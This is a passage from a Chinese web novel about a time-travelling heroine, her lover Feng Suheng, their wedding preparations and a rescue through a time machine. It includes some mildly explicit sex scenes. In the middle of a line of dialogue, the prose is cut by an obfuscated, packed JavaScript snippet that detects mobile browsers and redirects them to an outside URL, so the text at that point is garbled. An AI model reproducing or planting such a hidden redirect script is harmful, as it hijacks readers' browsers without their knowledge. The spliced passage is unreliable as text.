唇分时,她眼尾通红地把风宿恒按在床上,手指抹去他唇边的湿,挑了下眉:“你再说一遍,你到底是谁?” 风宿恒将她的指含入嘴:“真真的亲亲夫君,你碗里的色中饿鬼。” 栖真挑他下巴:“多饿?” 风宿恒在她耳边一字一顿:“喝你的血,拆你的骨,一口吞下你的饿。” 栖真反手摸下去,拨了下抵在腿根的物事:“爹爹说人性高于性,所以这五年……清心寡欲?” 风宿恒眼神危险,脸上有莫名的严肃:“你不信?” 栖真装傻:“信什么?” 话音未落,一声惊喘,栖真不敢置信适才反手拨弄的东西,这会儿以迅雷不及掩耳的速度在她体内作怪了。 大陆凭一根旗杆让人缴械,全程占据上峰又有何用? “我每天催眠自己,忍得一年也好,十年也罢,只要你回来,我必全数讨回。”纵使癫至高峰,风宿恒都面无狎昵,认真回答问题。 那股变态狠厉的劲头,很风宿恒,又高于风宿恒! 简直让栖真欲罢不能。 伤心飞了,眼泪干了,惆怅失落都滚远了。子夜阑珊之际,她浑身散架,和被吞吃入腹并无实质差距。 困极而眠时,耳边飘来风宿恒淡淡的声音:“……你把那组装的房子叫样板房?我一直想着等你回来,在宫里为你造一座别墅,现代化装修,以后你想住现代住现代,想住古代住古代,想家的时候就能有个好去处……” 满足地闭眼,栖真呢喃出一个“好”。 ………… 栖真觉得她和风宿恒真是任性。 一旦出了真爱祭酒就得见好多人,处理许多事,可他们就是一时半会儿谁都不想见,啥都不想管。 翌日风宿恒应栖真要求带她御剑天上,自空中俯瞰大容。 她想亲眼看看大容到底如何像风宿恒所说,有了“天翻地覆的变化”。 这是她被锁万仞山四年后第一次感受自由,哪儿都去得,什么都看得,当真淋漓畅快,一日下来也确实让她吃惊又开眼。 开悟镇变成了开悟城,占地至少是过去的十几倍,街道林立,热闹非凡,贯通了万仞山到哨兵所,当得起容西第一主城。 大荒流戈壁面积缩小,当年荒芜的潟卤之地代以大片大片胡桐林、胡苗和沙稻,甚至有少许水田出现在错落的小村庄中。 而大容东部大城增多,街上行人如织。不少地方栉节比邻,出现五六层的高楼。镇上到处是浓烟滚滚的烟囱,白雾蒸腾的工坊。矿藏中工人如筑巢蚂蚁,大海边战船似列队锦鲤。 两人逛到傍晚,返程途中,风宿恒又带她特意绕道大荒流东北。夕阳灿灿,黄金般的沙漠里大面积的黑褐池沼汩汩流动,夹杂着明显的绿色荧光。池沼流成勺型,长柄一端看似正往东边继续拓宽。 栖真吃惊,“这是?” “对。”风宿恒道:“我也没想到大荒流居然能产原油。” 他们对视一眼,明白其中的意义。 这是工业的血脉。 有了原油,他们有生之年,当能目睹中土的腾飞。 “我让倪煌派人看管起来,还没开采。”风宿恒道:“你知道,无论是朝廷的工铸司还是万叶飞率领的开物阁,如今都是满负荷运转,一年内不可能调派得出人手研究原油开采。” 栖真目视嵌在黄沙地中的黑勺,奇异地沉默下来。 最后,天光自大荒流以西逐渐落下,夜幕笼罩大地,大容亮起来了。 风宿恒带栖真飞回开悟城上空,脚下是路灯组成的光亮景象。 受过现代文明的洗礼,栖真不是不知满城不夜天该如何夺目,此刻脚下景象与那种夜景根本没法相比,但栖真仍然心潮澎湃。 大容已经正式进入用电时代,虽然电尚未普及千家万户,只在一些主城铺设露在地表的简易电缆,以便在夜晚降临时开启路灯,但这毕竟是跨时代的壮举。 文明的火花同文明的硕果一样令人激动,那是人类凭智慧种下的种子。 栖真低喃:“早晚有一天,万家灯火在中土将不再是梦想!” 说完这句,她陷入长久沉思,直到回去真爱祭酒都没开口。 洗漱完上床后,风宿恒将她胳膊横搭上自己腰间:“想什么呢?” 栖真兴致恹恹地摇头。 风宿恒太懂她,这表现不是身体疲惫所致。他凑上去吻栖真的脸,短而密集,是一种让她放松且愉悦的亲法,果然把人从思绪中拉回。 栖真在风宿恒的脖弯里吁出口气:“不知怎么说,总觉得怎么说都有些……” 不合时宜?言过其实?杞人忧天?忘恩负义? 一时连个适当的形容词她都想不出来。 229. 第 229 章 抹去栖真鼻尖薄汗,风宿恒道:“想说什么说什么。” 栖真放弃逻辑,任由思绪发散:“大容发展得真好真快,才八年,完全不是我当初来中土时那个大容了。今天看见那么多高楼、工厂、能源……我知道这里还是古代,却有了近代文明的雏形。在空中时有个念头挥之不去——我想这个国家的人,那些在街上走的人,某个我从空中看到的旅者,应该过得挺幸福吧……至少比八年前幸福一点?要是这样,我们做这些就值了,只要能为一个人、两个人……这片土地上的每个人创造条件,让他们生活便利,游刃有余,活成自己,就值得吧!” 栖真顿了一下:“可是,当我看到大容出现工业的痕迹,那些冒着黑烟的烟囱,流着废水的工坊,虽然数量和现代比不足为道,我就会觉得我们是不是在重蹈覆辙?中土是片SI在95以上的净土,如今却要让这片净土沾染化工的痕迹,再次走上用环境换发展的老路。可是,难道人类就只有这一条发展之路吗?只能靠发展工业来壮大自己,而工业发展就必定带来环境污染吗?我们不是不知道这条路走到最后是什么结局,即便时间跨度很长,要一千多年,但这就是一条一去不回的死路,越往后加速度越快而已。” “当我问自己这些问题时,我发现我好像犯了一个因果颠倒的错误。在我们原本的那条时间线上,根据已知的历史,人类的确是经历了工业革命,发展钢铁、发展化工、发展计算机……那个世界之所以走上绝路,是因为它就是循着这样的逻辑发展下去,但是……” 栖真不自觉握紧风宿恒的手:“但是,没人说原本的中土世界也一定遵循这样的发展啊!没人能保证几百年、甚至几千年后的中土,也一定会重蹈我们那个世界线的历史进程!也许中土这一支,原本能找到更好的路径,找到一种不以牺牲环境为代价就能让人们活得更好、更适宜地球的路径呢?” “我们不知道答案是什么,所以中土的未来是上亿、甚至几十亿种可能中的一种,但现在我们剥夺了中土的发展可能,只给了它一种。因为是我横插一脚,把必然会走上绝路的那种工业文明带到这个时代!还加班加点,赶中土在这条路上狂奔。我们活不了那么久,看不到这条时间线千年后撞上的南墙,但子孙后代会经历。将来他们在歌颂先人伟大的同时,可能根本不会想到,正是我们,从一开始把他们带上了绝路!” 风宿恒在栖真额头亲了口:“那么烦恼呢?” 栖真:“别笑话我……” “真真。”风宿恒握住她,以一种让栖真不怎么习惯的现代认知,轻松道:“没有一个时代是真正的试验品。你觉得每条时间线的发展都会遵循逻辑,我觉得也可能完全没有逻辑,就由无数巧合组成,最后导致一个看似有逻辑,其实没道理的非必然结果。从你的现代视角看,电灯、火车、枪炮的完善至少是几百年发展的成果,我们只用不到十年就做到,那是因为我们摒弃所有试错成本,将经过那条时间线验证过的经验直接拿来用。所以中土发展大大提前,对标现代,压缩了发展的用时,但那又如何呢?我相信一个真理——人类的发展一定是后人站在前人肩上跳高——它不是僵化的线性,而是无序的混沌。我们把高度垫在那里,后人就会在那个高度起跳。即便之前的高度作弊来的,又有什么关系?重点是高度在那里了!至于我们的后人要往哪个方向跳,谁知道?谁说就一定往死里跳?” 栖真噗嗤笑出来。 紧绷的情绪得到缓解,至少让她别自行代入,只用旁观视角继续思考。她道:“可是没有争论、没有徘徊、没有试错的成果真地有益于社会发展吗?杰司特用钨丝制灯泡前,经历了爱迪生等人五十年的坚持、几千次的失败。钨丝灯泡是文明的成果,对失败的坚持难道就不是?正因为有反复试错和不放弃,才让那个时代的人每步都走得坚实。你也说了,我们是在作弊。也许一时的超速,早晚有一天要用别的代价来还呢?” 风宿恒不想栖真沉重,见她笑,更以聊天般无足轻重的语气道:“真真,人类的发展不是写作文,非要把失败当成果。那个时代反复试错是真,走得坚实却未必。我们这个时代能否稳步,不取决于之前错过多少次,而取决于我们后代的想象力。你说的递弱代偿若是真,那么人类越早启蒙,在自身还未变弱时缔造繁荣的概率就越大。” “还是那句话,若世间真有宿命,你的穿越和你为中土带来的一切必有深意。它就是关窍中不可或缺的一环!也许正因为有了你这个自认是变数、其实是常数的因素存在,同样一千年,在原本的世界里只够人类从点油灯到点火箭,但在中土,一千年,可以让人直接进入星际,移民外太空,那时地球的污染还会成为人类的绝路?所以真真,你说我们的后人到底该膜拜你,还是感激你?” 栖真咬唇,面露向往,又狠狠道:“风宿恒你NB!黑的都能被你说成白的!” 风宿恒笑道:“你忘了?我不黑不白,我站中间。” 栖真枕着他肩膀嘲他:“对,你是站在中间的男人,永远立于不败之地的王者。哎,也就这时候觉得三合一的风畅好,无论我有什么乱七八糟的念头,都能得你宽慰。” 风宿恒压住她,像讨糖的孩童:“就这时候觉得好?就一个时候?” 栖真哈哈推他:“不止不止!” 风宿恒定定看着身下人:“明日我们回可能宫,把你那些红尘俗事了一了,在山上乖乖等我来娶你。” 栖真轻轻啊一声:“所以……?” 风宿恒一本正经:“所以今晚也要,明天回去,你必定累得不想动。” 栖真……… 这人软硬兼施,只要在真爱祭酒,就没一天不要。 “可是……我真地想缓一缓。”栖真愁眉苦脸:“昨天、前天、还有大前天……” 风宿恒从襦裙探进去,自常规划过,直接往后按了下,生生让栖真惊跳。 “又混了?”纵使对这男人再熟悉,栖真也闹个脸红耳烫:“想什么呢!” “只要是你的,都是我的。”风宿恒柔声引诱:“我小心点,不让你疼。” “不是啊!”栖真慌张,揉上风宿恒眼睑下明显的淤色:“你天天劳心劳力,这几晚没睡好吧,要不今晚算了?” “嗯,那今晚早点睡……”风宿恒含含糊糊亲她、揉她。 可素来将人搓扁揉圆还不是看他掌下功力?不到一炷香功夫房里就有娇吟。 又是个予取予求的夜啊!清醒时觉得多过分的事,此时哪还有一个不字呢? ………… 不是栖真凉薄,而是刚分开几天,再见就抱头痛哭的感觉好神奇。 回到山头,凡心抱着她哭、柳絮回抱着她哭,颜心抱着她哭,阿月抱着她哭,连万叶飞、山遥、英迈、阿闯、董未、袁博、聂灵鸢都围着她红了眼眶。 栖真见着一张张熟悉又陌生、经岁月雕刻的脸,尤其长大的凡心,也是泪目。 还好失控的现场除了只是作陪并不多言的大容王外,还有一个至始至终无比冷静的容绽。 容绽待栖真并无不同,像昨日刚见、今日不过例行汇报般,待栖真堂上坐定便呈上厚章,列明五年里万仞山各大项目的概况及进展,再加所属账目,清清楚楚,一目了然。 栖真摸索册子,再看容绽容貌举止,心头自有愧意和悲凉。 可容绽没给她抒情机会,简要说明万仞山当下情况后,主动问及大婚时间。 九部相们用五年放下芥蒂,对栖真当初的处境表示理解,如今只剩送她出嫁的喜悦。 栖真笑道:“嗨,你们怎么看着比我还积极?我还想在万仞山多待段时日呢。” 凡心道:“跪请爹爹即位的乾都百姓中暑的一波又一波,大热天的不容易,娘,你就点个头嫁了吧!” 栖真看向同列上座的风宿恒。 风宿恒道:“我今日回乾都,三日后来迎你。” 柳絮回吃惊:“就给山上三天准备?怎么来得及?可能宫宫主大婚,总得好好办一场!” 容绽淡定道:“可以。” 容宫主一开口,就是无上的保证。 三日后,万仞山洒扫一新,红绸蔽天。婚驾巳时来迎,照说新嫁娘该在房中含羞带俏,好好梳妆静待吉时。可栖真不是普通新嫁娘,她是天都没亮就起来巡视万仞山的大当家。 没办法,谁让三日里她真的一点时间都没有。 从早到晚,每个人和她都有说不完的话,婚礼收到手软。而万叶飞和阿月一对两岁半的龙凤胎,颜值惊为天人,她玩了三天都不舍放手。 以为和絮回她们相隔五年,又是知她秘密后再见,兴许会有隔阂。谁知柳絮回和阿月一个比一个想捶她,揶揄她到哑口。 最后还是絮回给她一个有力的拥抱:“栖真放心,你的来处我们会保密,可你能不能多信任我们一点?别什么都自己扛,我们都是你的娘家人啊。” 万仞山也有改变,添了不少教室和屋舍。栖真只能在出嫁的清早挤出点时间,独自出来透口气,顺便看一眼。 走到开物顶时晨曦初照,风烟俱净,空气中透着沁甜。 不是说成婚后她再不回来,但确实,今日离开山头,于她而言就是人生的某个阶段告一段落。 回想初来此山一片荒芜,睡陋棚、遭雨淋、沐浴都要被虫吓,与如今晨光下建筑节栨比邻的模样不可同日而语。 而这些只是看得见的改变,看不见的则是可能宫生发的浪潮,无论引领教育,还是变革产业,皆印证她当年拍脑袋的“可能宫”三字——人生在世,只要去做,一切皆有可能。 风宿恒曾言:“我不认为生小包子和做游戏两桩能全然覆盖你的人生、替代你的生活、体现你的价值。你有没有想过,自己到底想过一种怎样的生活?” 如今,这个问题她能答上来了。 因为她实现了生而为人的价值,自认对得起这段岁月。 她最大的贡献是为这个世界注入活力,让世人身有所依,让他们真正意识到只要去做,一切皆有可能! 为着今日山上盛事,几队侍从在开物顶铺红毯、忙布置。见栖宫主过来都恭敬行礼,送上祝福。 “宫主安康,新婚喜乐!”阑珊今日着新制长袍,见栖真来,在大殿前喜气洋洋遥遥作揖。 随这声唤,阑珊身前白发玉服的男人转首来。 栖真踱步上殿,和阑珊招呼,转而对容绽看了两眼,笑道:“还是金玉色适合你。” 这人三年素装,今日换上精绣的金玉色礼服,去他一身严寒,添了些许柔和,清辉下长身玉立,又有了当年她在大容第一眼见他时的清贵气,只是如今他的魅力今非昔比,浑身透着任谁都移不开眼的自信淡定,如珠如玉。 此刻栖真看向容绽,却是一愣。 适才站在殿前,面对空旷的开物顶前片,容绽在想什么? 想什么,能让他伤感到红了眼框? 阑珊看看容绽又看看栖真,挠头讪笑:“容宫主天没亮就起来忙活,早膳都没吃呢。” “阑珊。”容绽轻唤,隐隐带着警告之意。 容绽恢复恬淡,看不出一丝独处时外露的情绪,问栖真道:“今日乃宫主大日子,怎么这会儿来开物顶?” 栖真撇头环视:“都没时间看看五年后的万仞山,想趁这会儿看一眼。”复又相邀:“一起走走?” 叫了声阑珊,容绽跟栖真走了几步,身后却无跟上的脚步,他又回头唤,阑珊才微讶跟随,隔了四五步缀在后面。 栖真几不可查地笑叹,等容绽并肩,在开物顶上漫步。 “阿绽,想跟你说声谢谢,一为让你五年独自挑了万仞山的重担,一为时常麻烦你去回真洞等我。” 容绽温声道:“我这宫主也不是白当,总得做点事。” 栖真道:“这几日看完你的册子,写得真好,数字罗列得清清楚楚,分析也很到位。从你知我回来,到我回开物顶才几日?便能写出这样一本东西,真了不得啊!阿绽这几年越发强了呢!” “不是这几日写的。”容绽道:“总想着等你回来,要让你知道这些年万仞山发展如何,所以时刻记录,最后几日只是添了几笔。” “看你们一个个都好,事业兴旺,我很高兴。”栖真哂笑:“这次回来,叶飞和阿月孩子都两岁了;絮回和阿闯都三胎了,英迈也是两个千金,我都能预见到可能宫的下一代凑两桌麻将的景象了。” 容绽微笑。 也只是微笑。 栖真只好话锋一转:“我很赞同你在册子上写的一句,和莱茵的南海之战我们败,并不全败在军备,还败在轻敌。我们对莱茵的认识完全不够,可素来知己知彼才能百战百胜。等我回来,我们好好商讨此事。” “栾音和栾乐也在下南洋的船队里,可能宫也算参与其中。”容绽听栖真提及南海之战,料想她没经历这一年航队下南洋、发现新大陆、派使递国书、南海遭遇战等连环过往,对栖真而言,这事怕是飞来横祸,心里恐不好受,便宽慰道:“宫主无须忧心,长远看,此败许非坏事。” “怎么说?” “这几年帮扶什么产业,哪些工科要着力,可能宫的宗旨都围绕‘惠民’二字来。但时间长,我也怕决策时刻舟求剑。如今劲敌在侧,便多了依照。莱茵,倒成了我们的知权变。” 栖真嗯一声:“阿绽倒是看得开。” 容绽叹气:“当年的大容就是一叶障目,死活不愿开眼看外界。吃一堑长一智,再遇失败我便觉无须讳言,也无需高视,败中自有机变。对了,宫主可知谁对这次战败最耿耿于怀吗?” “听阿月说了。”栖真笑道。 “是啊,叶飞!这几年他身在可能宫,却俨然成了大容百工领者。”容绽道:“所以他自责,总想偷偷去莱茵看一眼,才知未来追赶方向。” “去莱茵看一眼。”栖真沉吟:“……倒是个好主意。” 容绽徒然停步:“宫主!” 栖真笑起来:“啊?” 容绽有些受不了般摇头苦笑,终要说句大道理:“銮驾轻易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136702|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可出。大容王是明里帝王,宫主乃背地统帅。有你坐镇才能上下不乱,不比你自陷危地更加得益?” 栖真哈一声,玩笑道:“五年哪里见乱?阿绽不是坐镇得很好?” “我也……”容绽一顿,终把后半句轻声吐出:“……要你坐镇的。” 不等栖真接话,他偏头道:“大喜日子,吉祥祝福的话还说不过来,战乱和朝堂先摆一摆,以后再议吧。” 跟在身后的阑珊不时指挥一下周围侍从,回首瞥见走在前面的主子背上洇出汗迹,在薄薄的袍身上有些明显,耳朵尖也染了可疑的殷红。 这都说什么了呀? 真稀奇! 阑珊却觉酸涩,悄声叹气——也不稀奇……只要在栖宫主面前,主子怎么失常,都很正常。 自从栖宫主回来,主子每日茶饭不思。五年多少相思,此刻就多遮掩,可怜人近中年,赤诚之心不减。 栖宫主,你看一看面前的男人吧! 求你再看一眼。 在你未嫁前! 可惜阑珊心声眇眇,传不到栖真那里。她见前方就是通极堂,对容绽道:“你忙你的,我去通极堂看看。” 容绽神色微变:“你要去回真洞?” 栖真哈哈,有被人道破的尴尬:“我就随便看看。” 容绽声音徒高:“里面什么都没有,别去!” 她去回真洞,入了穿梭仪,一走五年,如今她还要去?他怎能让她去? “我就进去看一眼,马上出来。”栖真挥手:“我保证,我不绝不碰穿梭仪,我什么都不碰。” 容绽额上汗珠滚落:“我跟你一起。” 栖真站在通极堂口,轻咳一声,回头见阑珊站得远,便偏头对容绽道:“听说宿恒住在回真洞几年,画了一洞的我,我这不是……想趁他不在,进去瞅一眼嘛!” 容绽张口,一时无言,最后生生咬出腮帮,退一步道:“快去快回,我在此等你。” 栖真有些不好意思,笑道:“就出来。” 她走过夹廊,不经意回头望,门外金玉色身影侧身遥对,山远天高烟水寒,仿佛无论她去哪里,这道身影都会无怨无尤地等。 阿绽啊……栖真心头叹息。 有些感情到了极致,她自己都分不清。 自从重离消失洞中,和通极堂相连的铁索桥也跟着不见。这几日无人提及这一细节,是以栖真走到吊桥口还有微讶。但如今她身负法术,过去不是问题。 曾经她放不开,骂风宿恒画什么不好,满脑子黄色废料。 可自得知这男人靠着画她,硬生生将自己画成“画圣”后,对承载其情窦初开的几屋画像,栖真便心生向往。若非几年禁闭,早让风宿恒带她去看。 所以凡心昨日说漏嘴时她心动不已,打定主意婚礼前定要进洞一观。兴许看完,今晚洞房花烛夜还能嘲一嘲风宿恒,添点夫妻情趣。 栖真抱着这样的念想,咬唇窃笑,步进洞中。 这些天应该没人顾得上整饬回真洞,一眼望去,洞内还维持浓重的生活痕迹。 浅淡天光自天窗洒下,照亮洞中错落的桌椅、书柜、床榻和必备的生活用品。所有家什都是平头百姓府上土款,除去一张雕花栖木椅——那是她在花千树的坐椅。 栖真听风宿恒说过几回住在洞里,直到此刻亲见,他过往五年的生活才鲜活起来,让她切身体会到这些年他过得究竟是怎样的少而陋,连最初的花千树都比这里瞧上去像样。 “好不容易可以造房子,还不让你住好些,我过不去。” “寒门陋室配得起我的公主?” 言犹在耳,看着眼前陋室,栖真只觉心酸。 摸着书桌,任晨光在指尖缕缕,眼泪再次决堤。 阿畅啊阿畅,你是全副心神不在,才对容身处毫不上心?还是你实在太上心,为着那日受吞噬者掌控把我扔进穿梭仪,便存心用苦行僧般的生活惩罚自己? 以她对风宿恒的了解,更像后者。 整整五年!他能脱口一千八百二十五天……就是这样一簞食一瓢饮的一千八百二十五天吗? 斯为泰山而不骄,为了她,风宿恒是不是把自己放得太低? 想到这里,心被刺痛,如泡黄连,栖真泪水横流,为自己爱人痛极。 可她霍然伸手,慌张抹泪。对已然发生的事她无能为力,但至少她得给风宿恒一位完美的新娘,真不想他今日揭开红盖,看到的是她哭肿的眼。 别哭,栖真,没事!一切都过去了!把一切都给他,今后只做一件事,就是爱他,爱他,更爱他! 栖真大口喘气,转眼去看洞壁的画,尽量转移自己的注意。 还真是满洞的她! 站着的、坐着的、躺着的;看书的、写字的、品茶的;笑着的、哭着的、气着的……栖真破涕为笑,这人是把脑里所有的她都画出来吗? 回真洞很大,放眼望去,视野上中下全挂着画,更别提洞底堆满的卷轴……没时间展开看,栖真都知画中主角必然是她。 站在无数个自己间环视,她来不及去观赏每幅画的精妙处,来不及像适才见到家什般伤感激动,她只是不合时宜的,又确确实实地,自脚底升起一股惊悚感。 这里到底有多少画? 迫切想知道答案,纵使那答案一时半会儿不可能精确,栖真还是鬼使神差般数起来。 她数得极快。 绕洞一周是四百多张,洞壁从上至下挂四排,便是一千六百幅。再看洞底堆成山、数不清的那些,算五百吧。 加起来……就是两千多幅! 换句话说,五年里,风宿恒每天要画上一到两幅,才成这般规模。 这些画,没一幅线条随意,张张彩绘精描。 据她所知,画这样一幅作品至少全神贯注一下午。若一日两幅,一天妥妥过去了。 可风宿恒怎可能五年什么都不做,天天窝身洞中画画呢? 大容和万仞山蒸蒸日上,背后必有一位勤勉的君王。 那就很不可思议了! 一个俗事缠身,时时需要应对朝政的君王,居然能在五年里抽时间画出这样一洞作品? 戦星流的话响在耳际:“我觉得他大概就不是凡人!我不知他哪来那么多精力兼顾所有的事,哪来空闲看书,哪来机会交友,哪来时间经商!” 栖真吞咽,首次觉得……而且非常深刻地意识到……她男人太特么NB! 这就不是人干的事好吗! 栖真越想越觉得匪夷所思。今晚必要向风宿恒请教,怎生安排时间,竟能高效至此? 就在她耽于沉思时,空旷洞中遽然响起声音。 这声猝不及防,把栖真吓到瞳孔顿缩。 几天前,这人被她无情推倒在地,留在诺亚时代的黑暗洞底,怎么可能再次出现在回真洞里? 栖真乍然转身,看向声音来处。 犹如当年初见……眼前端坐高高石质王座的,正是那道熟悉的身影! 230. 第 230 章 天广海阔,苍穹若地球始开的蒙昧,也如婴儿初啼的脸。 海天一色中,阿恒瞳孔顿缩,看着栖真像失了生命力的鸿雁从天上跌落。 他窜进海里,向水花溅起处快速游去,奋力将她拖上沙滩。 拨开覆额的发,露出她失血的脸,长睫毫无生气地垂下,鲜血从眼眶、双耳、口中溢出,在胸口洇开。 “十二万!她聚集了十二万神识!”C博士看表,又看向树林里开始恢复意识的志愿者,激动道:“不!确切说她借了十二万神识,撑爆了吞噬者,然后把所有神识安全地还回去。奇迹,真是奇迹!” 阿恒一遍遍擦去栖真眼睑下和唇边的血,却越擦越多,很快军装的白色袖口被彻底染红。 “博士,能救她吗?能先救救公主吗?”他看向博士,颤抖着问。 C博士蹲身查看女孩的瞳孔,点开表上的神识测量功能,用手表侧面的感应器对她扫描。 “她召唤的神识远超能负荷的极限。”博士遗憾地摇头:“没办法了。” 阿恒楞楞看着怀中人。 女孩的脸开始变得透明,很快,她要像被吞噬狼吸食的天宫人一样化作比特,彻底消散。 有些话博士来说不合适,但乱世先杀圣母,和平总要代价,没人愿做棋子,牺牲总得有人去。 即将失去天宫唯一的诺亚人,他不是不遗憾,博士拍了拍助手的肩:“格朗,这是公主的选择,她的努力值得一座丰碑。” “凭什么?”阿恒抬眼:“她凭什么要为虚伪铸就的丰碑付出生命?” 博士没见过格朗这样狠厉的眼神,盛载着杀妻夺子的极端仇恨。 “你爱上她了?”博士吃惊,继而想到:“你上次说想和她生孩子,是真心的?” 可博士立刻感觉不对,格朗刚才说……虚伪? 天宫人对他只有无上的崇敬,何况是跟了他几百年的亲随。 联想到助手今日失常的表现,博士厉声道:“你不是格朗!” 阿恒没有回答。 此时此刻,任何人和事都引不起他的关注了。 他拥紧怀里人,闭上了眼睛。 霎时,紧紧相拥的两人从博士眼前消失,只余空落落的沙滩和周而复始的海浪。 博士愣在原地。 这两人不是化作比特消散,而是直接消失! 他们要做什么? 自杀吗? 在天宫,只有一种情况神识会直接消失,那就是彻底放弃天宫,回到现实世界。 但天宫人不可能这样做!因为回去现实后,没人能长久待在狭小的安置舱里。而一旦出舱,就是找死。 再以天宫为皈依,博士都摆脱不掉对现实世界恢复正常的渴望,可每年中央处理器监测到海底洞穴中的SI平均指数,都让他很是绝望。 最新一次收到的是3.2。 只有3.2! 那意味着正常人只要脱离安置舱,在海底洞穴活不过三十分钟。 这点时间,都不够一个人以最快速度跑回洞口,更别说回去更毒的外部世界。 别管在他面前的是不是真正的格朗,至少那是格朗的身体。如今目睹他们消失,博士心中除了震惊和疑惑,还有低缓的丧歌。 …………… 海底生巢。 时间在此冻结,只有高台上中央处理器的彩光在四百年里持续运转,固执地在漆黑的宏大空间证明确有人类长存于此。 亘古的沉寂中,放置数万安置舱的生巢内响起轻微的咔哒声。 一具安置舱的门打开了。 这里是A区最下排,当年为了给最后进舱的人行方便,特意留出的位置。 阿恒拔下头顶的传输器,翻身爬出舱,可他着地时脚下无力,重重摔倒在地。 没办法,谁叫这具高大的身躯整整躺了四百年,纵使安置舱能提供必要的养分,也无力维持运动所需的肌肉。乍然醒转,四肢行动起来并不协调。 阿恒竭力爬起来,拖着无力的长腿往台上跑。 这是他唯一想到的办法,从现在开始争分夺秒,他要为栖真争取最后一丝生机。 若说生巢呈圆形笔筒状,高台就是那个笔筒的底。在底部中心,除了坐落着常年不歇的大型量子计算机,还有一台舱室。 自从四日前俯身格朗,格朗的记忆就像缺失防火墙的系统般对他开放。他攫取其中一叶,知道这里有台穿梭仪,可以将人送去别的时空。 他从格朗的记忆中获悉外部世界充斥着有毒气体,但身临其境才发现,这里的空气比想象中更诡异,吸入时像有冰棱在割鼻粘膜,又带着陈米拌醋的腐臭气。 阿恒一手紧捂口鼻来到穿梭仪外,在穿梭仪的表面找了一圈,很快找到舱体背后的加充口。 他拔下加充电缆,把手按在加充口上,放任一部分的自己攀上加冲口内的金属部件,顺着光纤侵入穿梭仪的内部系统。 还好,穿梭仪配电充足,舱内亮起来,舱门缓缓打开。 阿恒进门呼唤AI,把舱门快速放下,到操作台前调出穿梭仪的自查系统。 格朗是博士助手,但把大部分精力投在了天宫项目上,没怎么参与穿梭仪的研发,所以格朗的记忆中没有和操作穿梭仪相关的有用信息,但这难不倒阿恒。 他盯着黑屏上滚动的原始代码,很快在心里有了完整的方案。 他打开穿梭仪的启动程序,一一做出选择。 ——穿越模式? 阿恒在下拉菜单中选择“轻型穿越”。 希望栖真过去后好好生活,重头开始,所以不能让穿梭仪出现在她要过去的那个时代。轻型穿越模式可以通过穿梭仪投人不投机,是一种单程穿越。穿越者不能反穿回来。这正合他意。 ——投放时间? “好想看看纸质书啊,是这样一本本吗?摆上很多这样的书,是不是得一整个洞才行?” 她说过的话,他一字不曾忘记。 一个纸质书还未淘汰、人工智能已然崛起的时代足以满足她的愿望。 愿你在这个落后但和平的年代,远离末世浩劫,平平安安过完一生! 所以阿恒选择了公元2013年。 ——日期? 让她落地的具体日期其实并无所谓,但阿恒还是设置了2月28日。 镇外,雨中,那是他的“生日”,也是他第一次见到栖真的日子。 ——投放定位? 他在选项中毫不犹豫找到更符合栖真血统的国度,及那国度中幸福指数最高的城市。 录完三个主设定,阿恒设置保存,给这段程序设定文件名:鸢尾。 随着屏幕上确认鸢尾保存成功的提示,驾驶位后三米开外的舱壁上,一道隐形门向上开启,推出一台只容一人躺入的透明水晶舱。 阿恒问AI:“轻型穿越模式用这个?” AI:“轻型穿越模式请用此装置。重复:轻型穿越模式请用此装置。” 阿恒打开轻型舱的舱盖,开门后再次向生巢方向奔去。 A99883…… 那日少女执他手,款款写下棺码,把自己交托出去般郑重地说:你视我为你的,我便把自己最深的秘密告诉你,愿这窜字符永远被你珍藏,愿我永远养在你心里。 可她错了! 一头猪永远不明白,杀它的人和喂它的人到底什么关系。 这傻瓜,居然把自己交托给敌人。 阿恒开始咳嗽,嗓子粘滞,呼出来的气有不正常的灼热,他不顾脚步踉跄,循着高亮的棺码顺序找去。 四百年里,吞噬者吸食的神识数量已经累积成一个庞大的数字,体现在真实世界,就是眼前大片熄灭的棺码。 所以他没费什么功夫就在舱体浩繁的生巢内找到99883。幸运的是,那也是一个居于下位的安置舱。 看到跳亮的绿色数字,阿恒体内真正属于人类的心脏几乎跳出嗓子眼,手无法克制地抖起来。 他抹去安置舱透明罩上厚厚的积尘,于昏暗无光中着力辨认舱内。看清的那一刻,他忽然明白文学作品中对于爱情的夸张描述,因为他发觉自己看到栖真本体的一刹那,心脏和呼吸都飞起来,有他承受不住的目眩神迷,甚至在他都没意识到的情况下,激动的泪水就一滴滴落在了透明罩上。 但是没时间让他耽搁了,阿恒一把掀开舱门,脱下她头上的传输仪,将少女横抱起来,向穿梭仪飞奔。 一路上他想起来,格朗的安置舱中是有防毒面罩的,就在脚边。栖真舱中却没有。 他应该带上那副面罩来找她。这样的话,这段距离,即便是这样短的一段距离,她也能少吸两口毒气。 真不知道如今只剩一口气的少女,是不是经得起这样的毒气侵袭。 返回取来不及了,他只能抱人直取穿梭仪。 舱门闭合。剧烈的运动让阿恒感到肺如刀割,他大口喘气,把人小心放进轻型舱,帮她拉好掉肩的白裙,像对待公主一样整理裙摆,双手安然相叠,才彻底关闭轻型舱的盖子。 轻型舱侧面的玻璃罩上跳出荧色字符,显示舱内的充氧量,看来外部有毒气体暂时不会困扰到舱里人。 至此,阿恒才有时间好好打量她。 栖真四百岁了,直到在天宫的最后一年,她的神识才算真正长成,以二十出头的形象示人。 但此刻在他面前的本体,除了皮肤白到看不到皮下血管外,容貌和天宫中没有太大差别,只是瞧上去小很多,顶多十六七岁。闭眼躺着,透出不谙世事的天真,怎么骗都不设防似的。 阿恒近距离凝视她,指腹在玻璃罩上温柔地移动,像抚摸她的脸。 “想摸一摸你,但我不能用别人的身体碰你。你把我举高高的时候我很不乐意,因为我也想把你举高高,但我做不到,所以每次都有点生气。” 谁叫他是被设定好的呢——为了博得小姑娘的好感而做的设定。 